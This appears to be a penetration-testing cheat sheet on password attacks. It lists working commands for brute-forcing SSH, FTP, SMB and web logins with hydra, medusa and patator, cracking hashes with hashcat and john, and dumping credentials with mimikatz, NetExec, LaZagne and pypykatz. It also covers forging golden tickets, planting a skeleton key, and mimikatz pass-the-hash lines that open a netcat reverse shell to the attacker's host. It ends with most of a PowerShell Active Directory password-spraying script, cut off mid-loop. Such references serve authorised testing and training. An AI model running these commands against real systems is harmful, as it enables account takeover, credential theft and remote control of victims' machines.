Module 19 (Password Attacks)

• Wordlists

  • Rainbow table

  • Dictionary attack

  • Brute force Attack

  • Custom

hydra -l admin -P pass.txt <domain>  http-post-form 

Standard wordlist

cewl <domain> -m  6 -w domain.txt

using john

john --wordlist=domain.txt --rules --stdout > mutaed.txt

Brute Force Wordlists

Crunch

 crunch 8 8 -t ,@@^^%%%
 crunch 4 6 0123456789ABCDEF -o crunch.txt

• Using mimikatz:

  • Execute Pass The Hash Attack with mimikatz.

    Copy

    mimikatz.exe
    privilege::debug
    token::elevate
    privilege::debug
    sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32ed87bdb5fdc5e9cba88547376818d4

• Use the sekurlsa::pth command to pass the hash for privilege escalation.

Common Network Service Attack Methods

Table of Contents

• AES

• bkcrack

• DonPAPI

• fcrack

• Group Policy Preferences (GPP)

• Hash-Buster

• hashcat

• Hydra

• John

• Kerbrute

• LaZagne

• LUKS

• Medusa

• mimikatz

• MultiDump

• NetExec

• Patator

• PDFCrack

• pypykatz

• RsaCtfTool

• Spray-Passwords

• SprayingToolkit

• VNC Password Recovery

AES

Cracking AES Encryption

Create AES File

aes-256-ctr
aes-128-ofb
aes-192-ofb
aes-256-ofb
aes-128-ecb
aes-192-ecb
aes-256-ecb

Create String File

Tq+CWzQS0wYzs2rJ+GNrPLP6qekDbwze6fIeRRwBK2WXHOhba7WR2OGNUFKoAvyW7njTCMlQzlwIRdJvaP2iYQ==

For Loop

 for i in `cat aes`; do cat string | openssl enc -d -$i -K 214125442A472D4B6150645367566B59 -iv 0 -nopad -nosalt -base64; done

bkcrack

Cracking .zip File

 ./bkcrack -L <FILE>.zip

 cat plaintext.txt
Secret:HTB{

 ./bkcrack -c tmp/fd734d942c6f729a36606b16a3ef17f8/<FILE>.txt -C <FILE>.zip -p plaintext.txt

DonPAPI

https://github.com/login-securite/DonPAPI

 DonPAPI <DOMAIN>/<USERNAME>:<PASSWORD>@<RHOST>
 DonPAPI -local_auth <USERNAME>@<RHOST>
 DonPAPI --hashes <LM>:<NT> <DOMAIN>/<USERNAME>@<RHOST>
 DonPAPI -laps <DOMAIN>/<USERNAME>:<PASSWORD>@<RHOST>

fcrack

 fcrackzip -u -D -p /PATH/TO/WORDLIST/<WORDLIST> <FILE>.zip

Group Policy Preferences (GPP)

gpp-decrypt

https://github.com/t0thkr1s/gpp-decrypt

 python3 gpp-decrypt.py -f Groups.xml
 python3 gpp-decrypt.py -c edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Hash-Buster

https://github.com/s0md3v/Hash-Buster

 buster -s 2b6d315337f18617ba18922c0b9597ff

hashcat

https://hashcat.net/hashcat/

https://hashcat.net/wiki/doku.php?id=hashcat

https://hashcat.net/cap2hashcat/

https://hashcat.net/wiki/doku.php?id=example_hashes

Common Commands

 hashcat -m 0 md5 /PATH/TO/WORDLIST/<WORDLIST>
 hashcat -m 100 sha-1 /PATH/TO/WORDLIST/<WORDLIST>
 hashcat -m 1400 sha256 /PATH/TO/WORDLIST/<WORDLIST>
 hashcat -m 3200 bcrypt /PATH/TO/WORDLIST/<WORDLIST>
 hashcat -m 900 md4 /PATH/TO/WORDLIST/<WORDLIST>
 hashcat -m 1000 ntlm /PATH/TO/WORDLIST/<WORDLIST>
 hashcat -m 1800 sha512 /PATH/TO/WORDLIST/<WORDLIST>
 hashcat -m 160 hmac-sha1 /PATH/TO/WORDLIST/<WORDLIST>
 hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000.txt -O --force
 hashcat -O -m 500 -a 3 -1 ?l -2 ?d -3 ?u  --force hash.txt ?3?3?1?1?1?1?2?3

Hash Example Search

hashcat --example-hashes
hashcat --help | grep -i "ntlm"

Hash Rules

/usr/share/wordlists/fasttrack.txt
/usr/share/hashcat/rules/best64.rule

Custom Rules

https://hashcat.net/wiki/doku.php?id=rule_based_attack

Add a 1 to each Password

 echo \$1 > <FILE>.rule

Capitalize first character

$1
c

Add nothing, a 1 or a ! to an existing Wordlist

:
$1
$!

Rule for upper case Letter, numerical Value and special Character

• $1 > appends a "1"

• $2 > appends a "2"

• $3 > appends a "3"

• c > Capitalize the first character and lower case the rest

$1 c $!
$2 c $!
$1 $2 $3 c $!

Rule Preview

 hashcat -r <FILE>.rule --stdout <FILE>.txt

Mask File Example

https://hashcat.net/wiki/doku.php?id=mask_attack

example.hcmask

FOOBAR?d?d?d?d
FOOBAR?d?d?d?u
FOOBAR?d?d?u?u
FOOBAR?d?u?u?u
FOOBAR?u?u?u?u

Cracking ASPREPRoast Password File

 hashcat -m 18200 -a 0 <FILE> <FILE>

Cracking Kerberoasting Password File

 hashcat -m 13100 --force <FILE> <FILE>

Bruteforce based on the Pattern

 hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout

Generate Password Candidates: Wordlist + Pattern

 hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/PATH/TO/WORDLIST/<WORDLIST> ?d?d?d?u?u?u --force --potfile-disable --stdout

Generate NetNLTMv2 with internalMonologue and crack with hashcat

 InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800

Result

spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000

Crack with hashcat

 hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /PATH/TO/WORDLIST/<WORDLIST> --force --potfile-disable

Rules

https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule

Cracking with OneRuleToRuleThemAll.rule

 hashcat -m 3200 hash.txt -r /PATH/TO/FILE.rule

Hydra

https://github.com/vanhauser-thc/thc-hydra

Common Commands

 hydra <RHOST> -l <USERNAME> -p <PASSWORD> <PROTOCOL>
 hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> <PROTOCOL>
 hydra <RHOST> -C /PATH/TO/WORDLIST/<FILE> ftp

Proxy

 export HYDRA_PROXY=connect://127.0.0.1:8080
 unset HYDRA_PROXY

SSH

 hydra <RHOST> -L usernames.txt -P passwords.txt ssh -V
 hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> ssh -t 4
hydra -l <RHOST> -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1

FTP

 hydra <RHOST> -L usernames.txt -P passwords.txt ftp -V -f

SMB

 hydra <RHOST> -L usernames.txt -P passwords.txt smb -V -f

MySQL

 hydra <RHOST> -L usernames.txt -P passwords.txt mysql -V -f

Postgres

 hydra <RHOST> -L usernames.txt -P passwords.txt postgres -V

Telnet

 hydra <RHOST> -L usernames.txt -P passwords.txt telnet -V

VNC

 hydra <RHOST> -P passwords.txt vnc -V

Docker Registry

 hydra <RHOST> -L usernames.txt  -P passwords.txt -s 5000 https-get /v2/

Webform

 hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/admin.php:username=^USER^&password=^PASS^:login_error"
 hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/index.php:username=user&password=^PASS^:Login failed. Invalid"
 hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s <RPORT>
 hydra <RHOST> -l root@localhost -P otrs-cewl.txt http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -vV -f
 hydra <RHOST> -l admin -P /PATH/TO/WORDLIST/<FILE> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed"

HTTP POST Attack with Hydra

hydra <RHOST> http-form-post
"/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -l admin -P
/usr/share/wordlists/rockyou.txt -vV -f

John

https://github.com/openwall/john

 john md5 --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=raw-md5
 john sha-1 --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=raw-sha1
 john sha256 --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=raw-sha256
 john bcrypt --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=bcrypt
 john md4 --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=md4
 john ntlm --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=nt
 john sha512 --wordlist=/PATH/TO/WORDLIST/<WORDLIST>

Show cracked Password

 john --show <FILE>

Using Salt

 john <FILE> --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=raw-md5 --mask='<SALT>?w'

Cracking .zip-Files

 zip2john <FILE> > <FILE>

Cracking EncFS/6

 encfs2john <DIRECTORY>/ > encfs6.xml.john
 john encfs6.xml.john --wordlist=/PATH/TO/WORDLIST/<WORDLIST>

Cracking Kerberoasting Password File

 john --format=krb5tgs --wordlist=<FILE> <FILE>

Cracking RSA

 ssh2john id_rsa > <FILE>
 john <FILE> --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=ssh

Cracking yescrypt

 john <FILE> --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=crypt

Extracting Hash from .kdbx File

 keepass2john <FILE>

Kerbrute

https://github.com/ropnop/kerbrute

User Enumeration

 ./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES>

Password Spray

 ./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSWORD>

LaZagne

https://github.com/AlessandroZ/LaZagne

C:\> laZagne.exe all

LUKS

Extracting LUKS Header

dd if=backup.img of=header.luks bs=512 count=4097

Medusa

medusa -h <RHOST> -U usernames.txt -P wordlist.txt -M smbnt

medusa -h <RHOST> -u admin -P /usr/share/wordlists/rockyou.txt -M http
-m DIR:/admin

mimikatz

https://github.com/gentilkiwi/mimikatz

Common Commands

mimikatz # token::elevate
mimikatz # token::revert
mimikatz # vault::cred
mimikatz # vault::list
mimikatz # lsadump::sam
mimikatz # lsadump::secrets
mimikatz # lsadump::cache
mimikatz # lsadump::dcsync /<USERNAME>:<DOMAIN>\krbtgt /domain:<DOMAIN>

Execute mimikatz Inline

This is helpful when executing within a Evil-WinRM session.

C:\> mimikatz.exe "sekurlsa::logonpasswords" "exit"

Dump Hashes

C:\> .\mimikatz.exe
mimikatz # sekurlsa::minidump /users/admin/Desktop/lsass.DMP
mimikatz # sekurlsa::LogonPasswords
meterpreter > getprivs
meterpreter > creds_all
meterpreter > golden_ticket_create

Overpass-the-hash / Pass-the-Key

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

RC4

mimikatz # sekurlsa::pth /user:Administrator /domain:<DOMAIN> /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"

AES128

mimikatz # sekurlsa::pth /user:Administrator /domain:<DOMAIN> /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"

AES256

mimikatz # sekurlsa::pth /user:Administrator /domain:<DOMAIN> /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"

Pass the Ticket

C:\> .\mimikatz.exe
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
C:\> klist
C:\> dir \\<RHOST>\admin$

Forging Golden Ticket

C:\> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
mimikatz # misc::cmd
C:\> klist
C:\> dir \\<RHOST>\admin$

Skeleton Key

C:\> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # misc::skeleton
C:\> net use C:\\<RHOST>\admin$ /user:Administrator mimikatz
C:\> dir \\<RHOST>\c$ /user:<USERNAME> mimikatz

Data Protection API (DPAPI) Decryption

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials

rpc

mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb" /rpc

mimikatz # dpapi::cache

mimikatz # dpapi::cred /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4"

MultiDump

https://github.com/Xre0uS/MultiDump

 python3 MultiDumpHandler.py -r <LPORT>

PS C:\> .\MultiDump.exe --procdump -r <LHOST>:<LPORT>

NetExec

https://github.com/Pennyw0rth/NetExec

 sudo apt-get install pipx git
 pipx ensurepath
 pipx install git+https://github.com/Pennyw0rth/NetExec

Installation via Poetry

 sudo apt-get install -y libssl-dev libffi-dev python-dev-is-python3 build-essential
 git clone https://github.com/Pennyw0rth/NetExec
 cd NetExec
 poetry install
 poetry run NetExec

Modules

 netexec ldap -L
netexec mysql -L
 netexec smb -L
 netexec ssh -L
 netexec winrm -L

Common Commands

 netexec smb <RHOST> -u '' -p '' --shares
 netexec smb <RHOST> -u '' -p '' --shares -M spider_plus
 netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
 netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=true
 netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=true MAX_FILE_SIZE=99999999
 netexec smb <RHOST> -u '' -p '' --share <SHARE> --get-file <FILE> <FILE> 
 netexec smb <RHOST> -u 'guest' -p '' --shares --rid-brute
 netexec smb <RHOST> -u 'guest' -p '' --shares --rid-brute 100000
 netexec smb <RHOST> -u '<USERNAME>' --use-kcache --users
 netexec smb <RHOST> -u '<USERNAME>' --use-kcache --sam
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --shares
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --sam
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --lsa
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --dpapi
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth --sam
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth --lsa
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth --dpapi
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M wcc
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M snipped
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M lsassy
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M web_delivery -o URL=http://<LHOST>/<FILE>
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M gpp_autologin
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M gpp_password
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --ntds
 netexec smb <RHOST> -u '<USERNAME>' -H '<NTLMHASH>' --ntds
 netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --ntds --user <USERNAME>
 netexec smb <RHOST> -u '<USERNAME>' -H '<NTLMHASH>' --ntds --user <USERNAME>
 netexec smb <RHOST> -u '<USERNAME>' -H '<HASH>' -x "whoami"
 netexec smb /PATH/TO/FILE/<FILE> --gen-relay-list <FILE>
 netexec ldap <RHOST> -u '' -p '' --asreproast
 netexec ldap <RHOST> -u '' -p '' -M -user-desc
 netexec ldap <RHOST> -u '' -p '' -M get-desc-users
 netexec ldap <RHOST> -u '' -p '' -M ldap-checker
 netexec ldap <RHOST> -u '' -p '' -M veeam
 netexec ldap <RHOST> -u '' -p '' -M maq
 netexec ldap <RHOST> -u '' -p '' -M adcs
 netexec ldap <RHOST> -u '' -p '' -M zerologon
 netexec ldap <RHOST> -u '' -p '' -M petitpotam
 netexec ldap <RHOST> -u '' -p '' -M nopac
 netexec ldap <RHOST> -u '' -p '' --use-kcache -M whoami
 netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa
 netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa -k
 netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-convert-id <ID>
 netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-decrypt-lsa <ACCOUNT>
 netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M get-network -o ALL=true
 netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c all
 netexec winrm <SUBNET>/24 -u '<USERNAME>' -p '<PASSWORD>' -d .
 netexec winrm -u /t -p '<PASSWORD>' -d '<DOMAIN>' <RHOST>
 netexec winrm <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST>
 netexec winrm <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --ignore-pw-decoding
 netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --shares
 netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --shares --continue
 netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --pass-pol
 netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --lusers
 netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --sam
 netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --wdigest enable
 netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> -x 'quser'
 netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> -x 'net user Administrator /domain' --exec-method smbexec

Patator

https://github.com/lanjelot/patator

 patator ssh_login host=<RHOST> port=<RPORT> user=<USERNAME> password=FILE0 0=/PATH/TO/WORDLIST/<WORDLIST> persistent=0 -x ignore:mesg='Authentication failed.'
 patator ssh_login host=<RHOST> port=<RPORT> user=<USERNAME> password=FILE0 0=/PATH/TO/WORDLIST/<WORDLIST> persistent=0 -x ignore:fgrep='failed'
 patator ssh_login host=<RHOST> port=<RPORT> user=<USERNAME> password=FILE0 0=/PATH/TO/WORDLIST/<WORDLIST> persistent=0 -x ignore:egrep='failed'

PDFCrack

 pdfcrack -f file.pdf -w /PATH/TO/WORDLIST/<WORDLIST>

pypykatz

https://github.com/skelsec/pypykatz

 pypykatz lsa minidump lsass.dmp
 pypykatz registry --sam sam system

RsaCtfTool

https://github.com/Ganapati/RsaCtfTool

 python3 RsaCtfTool.py --publickey /PATH/TO/<KEY>.pub --uncipherfile /PATH/TO/FILE/<FILE>.enc

Spray-Passwords

Spray-Passwords.ps1

<#
  .SYNOPSIS
    PoC PowerShell script to demo how to perform password spraying attacks against 
     user accounts in Active Directory (AD), aka low and slow online brute force method.
    Only use for good and after written approval from AD owner.
    Requires access to a Windows host on the internal network, which may perform
     queries against the Primary Domain Controller (PDC).
    Does not require admin access, neither in AD or on Windows host.
    Remote Server Administration Tools (RSAT) are not required.
    
    Should NOT be considered OPSEC safe since:
    - a lot of traffic is generated between the host and the Domain Controller(s).
    - failed logon events will be massive on Domain Controller(s).
    - badpwdcount will iterate on user account objects in scope.
    
    No accounts should be locked out by this script alone, but there are no guarantees.
    NB! This script does not take Fine-Grained Password Policies (FGPP) into consideration.
  .DESCRIPTION
    Perform password spraying attack against user accounts in Active Directory.
  .PARAMETER Pass
    Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'. Do not use together with File or Url."
	
  .PARAMETER File
    Supply a path to a password input file to test multiple passwords for each targeted user account. Do not use together with Pass or Url.
	
  .PARAMETER Url
    Download file from given URL and use as password input file to test multiple passwords for each targeted user account. Do not use together with File or Pass.
	
  .PARAMETER Admins
    Warning: will also target privileged user accounts (admincount=1.)". Default = $false.
  .EXAMPLE
    PS C:\> .\Spray-Passwords.ps1 -Pass 'Summer2016'
    1. Test the password 'Summer2016' against all active user accounts, except privileged user accounts (admincount=1).
  .EXAMPLE
    PS C:\> .\Spray-Passwords.ps1 -Pass 'Summer2016,Password123' -Admins
    1. Test the password 'Summer2016' against all active user accounts, including privileged user accounts (admincount=1).
  .EXAMPLE
    PS C:\> .\Spray-Passwords.ps1 -File .\passwords.txt -Verbose 
    
    1. Test each password in the file 'passwords.txt' against all active user accounts, except privileged user accounts (admincount=1).
    2. Output script progress/status information to console.
  .EXAMPLE
    PS C:\> .\Spray-Passwords.ps1 -Url 'https://raw.githubusercontent.com/ZilentJack/Get-bADpasswords/master/BadPasswords.txt' -Verbose 
    
    1. Download the password file with weak passwords.
    2. Test each password against all active user accounts, except privileged user accounts (admincount=1).
    3. Output script progress/status information to console.
  .LINK
    Get latest version here: https://github.com/ZilentJack/Spray-Passwords
  .NOTES
    Authored by    : Jakob H. Heidelberg / @JakobHeidelberg / www.improsec.com
    Together with  : CyberKeel / www.cyberkeel.com
    Date created   : 09/05-2016
    Last modified  : 26/06-2016
    Version history:
    - 1.00: Initial public release, 26/06-2016
    Tested on:
     - WS 2016 TP5
     - WS 2012 R2
     - Windows 10
    Known Issues & possible solutions/workarounds:
     KI-0001: -
       Solution: -
    Change Requests for vNext (not prioritized):
     CR-0001: Support for Fine-Grained Password Policies (FGPP).
     CR-0002: Find better way of getting Default Domain Password Policy than "NET ACCOUNTS". Get-ADDefaultDomainPasswordPolicy is not en option as it relies on RSAT.
     CR-0003: Threated approach to test more user/password combinations simultaneously.
     CR-0004: Exception or include list based on username, group membership, SID's or the like.
     CR-0005: Exclude user account that executes the script (password probably already known).
    Verbose output:
     Use -Verbose to output script progress/status information to console.
#>

[CmdletBinding(DefaultParameterSetName='ByPass')]
Param 
(
    [Parameter(Mandatory = $true, ParameterSetName = 'ByURL',HelpMessage="Download file from given URL and use as password input file to test multiple passwords for each targeted user account.")]
    [String]
    $Url = '',

    [Parameter(Mandatory = $true, ParameterSetName = 'ByFile',HelpMessage="Supply a path to a password input file to test multiple passwords for each targeted user account.")]
    [String]
    $File = '',

    [Parameter(Mandatory = $true, ParameterSetName = 'ByPass',HelpMessage="Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'")]
    [AllowEmptyString()]
    [String]
    $Pass = '',

    [Parameter(Mandatory = $false,HelpMessage="Warning: will also target privileged user accounts (admincount=1.)")]
    [Switch]
    $Admins = $false

)

# Method to determine if input is numeric or not
Function isNumeric ($x) {
    $x2 = 0
    $isNum = [System.Int32]::TryParse($x, [ref]$x2)
    Return $isNum
}

# Method to get the lockout threshold - does not take FGPP into acocunt
Function Get-threshold
{
    $data = net accounts
    $threshold = $data[5].Split(":")[1].Trim()

    If (isNumeric($threshold) )
        {
            Write-Verbose "threshold is a number = $threshold"
            $threshold = [Int]$threshold
        }
    Else
        {
            Write-Verbose "Threshold is probably 'Never', setting max to 1000..."
            $threshold = [Int]1000
        }
    
    Return $threshold
}

# Method to get the lockout observation window - does not tage FGPP into account
Function Get-Duration
{
    $data = net accounts
    $duration = [Int]$data[7].Split(":")[1].Trim()
    Write-Verbose "Lockout duration is = $duration"
    Return $duration
}

# Method to retrieve the user objects from the PDC
Function Get-UserObjects
{
    # Get domain info for current domain
    Try {$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()}
    Catch {Write-Verbose "No domain found, will quit..." ; Exit}
   
    # Get the DC with the PDC emulator role
    $PDC = ($domainObj.PdcRoleOwner).Name

    # Build the search string from which the users should be found
    $SearchString = "LDAP://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName

    # Create a DirectorySearcher to poll the DC
    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $Searcher.SearchRoot = $objDomain

    # Select properties to load, to speed things up a bit
    $Searcher.PropertiesToLoad.Add("samaccountname") > $Null
    $Searcher.PropertiesToLoad.Add("badpwdcount") > $Null
    $Searcher.PropertiesToLoad.Add("badpasswordtime") > $Null

    # Search only for enabled users that are not locked out - avoid admins unless $admins = $true
    If ($Admins) {$Searcher.filter="(&(samAccountType=805306368)(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"}
    Else {$Searcher.filter="(&(samAccountType=805306368)(!(admincount=1))(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"}
    $Searcher.PageSize = 1000

    # Find & return targeted user accounts
    $userObjs = $Searcher.FindAll()
    Return $userObjs
}

# Method to perform auth test with specific username and password
Function Perform-Authenticate
{
    Param
    ([String]$username,[String]$password)

    # Get current domain with ADSI
    $CurrentDomain = "LDAP://"+([ADSI]"").DistinguishedName

    # Try to authenticate
    Write-Verbose "Trying to authenticate as user '$username' with password '$password'"
    $dom = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain, $username, $password)
    $res = $dom.Name
    
    # Return true/false
    If ($res -eq $null) {Return $false}
    Else {Return $true}
}

# Validate and parse user supplied url to CSV file of passwords
Function Parse-Url
{
    Param ([String]$url)

    # Download password file from URL
    $data = (New-Object System.Net.WebClient).DownloadString($url)
    $data = $data.Split([environment]::NewLine)

    # Parse passwords file and return results
    If ($data -eq $null -or $data -eq "") {Return $null}
    $passwords = $data.Split(",").Trim()
    Return $passwords
}

# Validate and parse user supplied CSV file of passwords
Function Parse-File
{
   Param ([String]$file)

   If (Test-Path $file)
   {
        $data = Get-Content $file
        
        If ($data -eq $null -or $data -eq "") {Return $null}
        $passwords = $data.Split(",").Trim()
        Return $passwords
   }
   Else {Return $null}
}

# Main function to perform the actual brute force attack
Function BruteForce
{
   Param ([Int]$duration,[Int]$threshold,[String[]]$passwords)

   #Setup variables
   $userObj = Get-UserObjects
   Write-Verbose "Found $(($userObj).count) active & unlocked users..."
   
   If ($passwords.Length -gt $threshold)
   {
        $time = ($passwords.Length - $threshold) * $duration
        Write-Host "Total run time is expected to be around $([Math]::Floor($time / 60)) hours and $([Math]::Floor($time % 60)) minutes."
   }

   [Boolean[]]$done = @()
   [Boolean[]]$usersCracked = @()
   [Int[]]$numTry = @()
   $results = @()

   #Initialize arrays
   For ($i = 0; $i -lt $userObj.Length; $i += 1)
   {
        $done += $false
        $usersCracked += $false
        $numTry += 0
   }

   # Main while loop which does the actual brute force.
   Write-Host "Performing brute force - press [q] to stop the process and print results..." -BackgroundColor Yellow -ForegroundColor Black
   :Main While ($true)
   {
        # Get user accounts
        $userObj = Get-UserObjects
        
        # Iterate over every user in AD
        For ($i = 0; $i -lt $userObj.Length; $i += 1)
        {

            # Allow for manual stop of the while loop, while retaining the gathered results
            If ($Host.UI.RawUI.KeyAvailable -and ("q" -eq $Host.UI.RawUI.ReadKey("IncludeKeyUp,NoEcho").Character))
            {
                Write-Host "Stopping bruteforce now...." -Background DarkRed
                Break Main
            }

            If ($usersCracked[$i] -eq $false)
            {
                If ($done[$i] -eq $false)
                {
                    # Put object values into variables
                    $samaccountnname = $userObj[$i].Properties.samaccountname
                    $badpwdcount = $userObj[$i].Properties.badpwdcount[0]
                    $badpwdtime = $userObj[$i].Properties.badpasswordtime[0]
                    
                    # Not yet reached lockout tries
                    If ($badpwdcount -lt ($threshold - 1))
                    {
                        # Try the auth with current password
                        $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]

                        If ($auth -eq $true)
                        {
                            Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                            $results += $samaccountnname
                            $results += $passwords[$numTry[$i]]
                            $usersCracked[$i] = $true
                            $done[$i] = $true
                        }

                        # Auth try did not work, go to next password in list
                        Else
                        {
                            $numTry[$i] += 1
                            If ($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                        }
                    }

                    # One more tries would result in lockout, unless timer has expired, let's see...
                    Else 
                    {
                        $now = Get-Date
                        
                        If ($badpwdtime)
                        {
                            $then = [DateTime]::FromFileTime($badpwdtime)
                            $timediff = ($now - $then).TotalMinutes
                        
                            If ($timediff -gt $duration)
                            {
                                # Since observation window time has passed, another auth try may be performed
